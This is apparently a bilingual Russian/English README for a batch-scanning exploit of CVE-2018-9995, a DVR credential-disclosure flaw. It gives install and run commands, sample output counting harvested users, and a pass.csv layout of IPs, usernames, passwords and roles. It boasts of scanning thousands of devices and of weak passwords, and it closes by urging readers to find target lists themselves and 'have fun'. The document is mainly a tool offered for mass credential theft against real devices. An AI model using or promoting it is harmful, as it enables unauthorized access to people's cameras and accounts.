
CVE-2018-9995_Batch_scanning_exp
Скрипт массового сканирования DVR для уязвимости CVE-2018-9995
##Исходный код эксплуатации CVE-2018-9995 (Original code)
##Подготовка среды (Environmental preparation)
python3, ubuntu
user@ubuntu:~$ sudo pip3 install grequests
user@ubuntu:~$ sudo pip3 install tableprint
##Режим использования (usage mode)
Сохраните сканируемые устройства в формате "ip:port" в первом столбце CSV-файла.
The equipment to be scanned is stored in "ip:port" form in the first column of CSV file.
csv_file = csv.reader(open('66b2f74b75457f73347f6a840bebc339.csv','r'))
Измените указанный выше путь к файлу со списком устройств на текущий рабочий каталог.
Change the list of device list files to the current directory.
user@ubuntu:~$ sudo python3 CVE-2018-9995_Batch_scanning_exp.py
Запустите программу.
run
-----------------------------------501-------------------------------------------------------------
-----------------------------------501-------------------------------------------------------------
-----------------------------------501-------------------------------------------------------------
-----------------------------------NO.1-------------------------------------------------------------
[+] Users List: 1
[+] Users List: 1
[+] Users List: 1
[+] Users List: 1
[+] Users List: 1
[+] Users List: 1
[+] Users List: 2
[+] Users List: 1
Каждые 501 IP — один вывод, "NO" обозначает номер раунда, "[+] Users List:" — количество пользователей на устройстве, успешно эксплуатирующем уязвимость.
Every 501 IP output is once, "NO" indicates the number of rounds, and "[+] Users List:" indicates the number of users contained in the device that successfully exploited the vulnerability.
Вывод CSV-файла pass.csv
output pass.csv
--------+-----+----+-------+----.......
ip:port |uid1 |pwd1 |role1 |uid2.......
--------+-----+----+-------+----.......
| | | | .......
| | | | .......
##Улучшения по сравнению с исходной программой (Improvement on the original program)
1. Устранена проблема, при которой некоторые устройства возвращали ошибку 401 и не возвращали информацию. (Solved the problem that part of the equipment 401 error can not return information.)
2. Исправлена проблема некорректного формата JSON для некоторых устройств. (The problem of incorrect JSON format for some devices is solved.)
3. Использование асинхронных HTTP-запросов значительно повысило эффективность сканирования. (Using asynchronous HTTP request greatly improves scanning efficiency.)
##Известные пояснения (letter of presentation)
1. Согласно результатам запросов в крупных поисковых системах веб-оборудования, данная уязвимость затрагивает около 50000 устройств. В настоящее время любое устройство, отвечающее на запросы, может использовать уязвимость для получения учётных данных в открытом виде.
1.There are about 50000 devices designed for this vulnerability from the results of the search engine query for web equipment. At present, any device with connection response can take advantage of the vulnerability to obtain information on the login account.
2. При сканировании внутри китайского сегмента сети ответили только более 6000 устройств.
2.There are only more than 6000 devices in response to the scan in china
3. Ущерб от эксплуатации уязвимости не так серьёзен, как предполагалось: получение доступа только к видеопотоку; дальнейший захват управления системой устройства требует дополнительного изучения.
3.The harm of vulnerability is not as serious as expected. It is only the right of access to the screen. Further access to control of the device system remains to be studied.
4. Слабых паролей действительно много; 80% результатов сканирования используют слабые пароли.
4.There are many weak passwords, and 80% of the scan results use weak passwords.
Список уязвимых устройств ищите сами — при должной смекалке найти легко. Удачи! XD
have fun! XD